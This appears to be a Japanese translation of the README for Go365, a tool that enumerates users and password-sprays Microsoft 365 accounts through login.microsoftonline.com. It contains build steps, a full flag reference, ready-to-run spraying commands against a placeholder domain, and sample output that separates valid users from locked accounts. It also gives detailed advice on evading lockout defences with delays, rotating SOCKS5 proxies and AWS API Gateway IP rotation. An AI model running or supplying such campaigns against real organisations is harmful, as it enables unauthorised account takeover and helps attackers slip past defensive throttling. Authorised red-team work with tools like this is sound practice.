
Go365を使用する前に、このREADMEをすべてお読みください!
Go365は、Office365(現在/間もなくMicrosoft365)を使用する組織に対するユーザー列挙*およびパスワード推測攻撃を実行するために設計されたツールです。Go365は、他のほとんどのツールが使用しないlogin.microsoftonline.com上の独自のSOAP APIエンドポイントを使用します。メールアドレスとパスワードでクエリされると、エンドポイントはAzure AD認証コードを返します。このコードはGo365によって処理され、結果が画面または出力ファイルに表示されます。
* ユーザー列挙はパスワード推測試行と併せて実行されます。そのため、ユーザー列挙のみを実行する特定のフラグや機能はありません。代わりに、最初のパスワード推測攻撃を実行し、結果を解析して有効なユーザーを見つけてください。
OS用のプリコンパイル済みバイナリをこちらからダウンロードしてください。
ソースをダウンロードしてローカルでコンパイルします。
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Version: 2.0
Authors: paveway3, h0useh3ad, S4R1N, EatonChips
Usage:
-h このヘルプを表示
必須 - エンドポイント:
-endpoint [rst or graph] 使用するエンドポイントを指定
: (-endpoint rst) *クラシックGo365!* login.microsoftonline.com/rst2.srf. SOAP XMLリクエスト、XMLレスポンス
: (-endpoint graph) login.microsoft.com/common/oauth2/token. HTTP POSTリクエスト、JSONレスポンス
必須 - ユーザー名とパスワード:
-u <string> テストする単一のユーザー名
: "@domain.com" の有無にかかわらずユーザー名
: ドメインを指定するには -d フラグも必要
: (-u [email protected])
-ul <file> 使用するユーザー名リスト(-u を上書き)
: ファイルは1行に1ユーザー名
: ユーザー名には "@domain.com" を含めることができます
: ドメインが指定されていない場合、-d のドメインが使用されます
: (-ul ./usernamelist.txt)
-p <string> 試行するパスワード
: 特殊文字を含む場合はシングルクォートで囲む
: (-p password123) または (-p 'p@s$w0|2d')
-pl <file> 使用するパスワードリスト(-p を上書き)
: ファイルは1行に1パスワード
: -delay フラグで試行間に待機時間を設定可能
: (-pl ./passwordlist.txt)
-up <file> 使用するユーザー・パスワードリスト(上記すべてを上書き)
: 1行にユーザー名とパスワードを ":" で区切って記述
: ユーザー名の重複に注意!
: (-up ./userpasslist.txt)
必須/オプション - ドメイン:
-d <string> テストするドメイン
: ユーザー名またはユーザー名リストに "@targetcompany.com" が含まれていない場合に使用
: (-d targetcompany.com)
オプション:
-w <int> 試行間の待機時間(秒)
: デフォルト: 1秒。5秒推奨。
: (-w 10)
-delay <int> パスワードリストを使用する場合のスプレー間の遅延(秒)
: デフォルト: 60分(3600秒)推奨。
: (-delay 7200)
-o <string> 出力ファイル
: ファイルが存在する場合は追記、存在しない場合は作成
: (-o ./Go365output.out)
-proxy <string> 使用する単一のSOCKS5プロキシサーバー
: IPアドレスとポートを ":" で区切る
: SOCKS5プロキシ
: (-proxy 127.0.0.1:1080)
-proxyfile <string> SOCKS5プロキシサーバーのリストが記述されたファイル
: 各行にIPアドレスとポートを ":" で区切る
: リクエストごとにランダムにプロキシサーバーを選択
: (-proxyfile ./proxyfile.txt)
-url <string> リクエスト送信先のエンドポイント
: Amazon API Gatewayの 'Invoke URL'
: このオプションを使用することを強く推奨します。Googleで調べるか、
: 以下を参照: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug デバッグモード
: XMLレスポンスを表示
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
さらに、-pl および -delay フラグを使用して、パスワード推測キャンペーン全体をスケジュールすることもできます :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*ヒント: 「アカウントロック」応答が多い場合は、プロキシまたはAWS Gatewayの使用を検討してください。
ヒント: 実際にアカウントがロックされているわけではない可能性が高いです。
ターゲットドメインに対して一定数のクエリを実行すると、結果にアカウントがロックされたと表示される場合があります。
この防御がトリガーされると、ユーザー列挙は信頼できなくなります。有効なユーザーと無効なユーザーに対するリクエストがランダムにアカウントロックを報告するためです。
...
[-] User not found: [email protected]
[-] User not found: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
...
これは、一定期間内にターゲットドメインに対して有効なユーザークエリが一定数行われた場合にトリガーされる防御メカニズムです。試行回数と期間はターゲット組織によってカスタマイズ可能なため、ターゲットドメインによって異なります。
防御メカニズムは時間とIPアドレスに基づいています。Go365はリクエスト間に待機時間を挿入するオプションと、リクエストの発信元を分散するプロキシオプションを提供します。ターゲットドメインの防御メカニズムを回避するには、長い待機時間と複数のプロキシサーバーを使用してください。
少なくとも15秒の待機時間を推奨します。-w 15
それでも「アカウントロック」応答が返ってくる場合は、リクエストをプロキシしてみてください。プロキシオプションはSSH SOCKS5ダイナミックプロキシ(ssh -D <ポート> ユーザー@プロキシサーバー)でのみテストされています。
DO、AWS、Vultrなどで多数のSOCKS5プロキシを作成し、次のようなファイルを作成します。
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
ツールは指定されたプロキシサーバーをランダムに順次使用し、リクエスト間に指定された待機時間を入れます。
-w 15 -proxyfile ./proxies.txt
さらに、このツールがAmazon API Gatewayと連携できるようにエンドポイントURLを指定することもできます。https://login.microsoftonline.com/rst2.srfエンドポイントを指すゲートウェイを設定し、-urlパラメータに提供されたInvoke URLを設定します。リクエストごとにIPがローテーションされるはずです。
-url https://justanexample.execute-api.us-east-2.amazonaws.com/login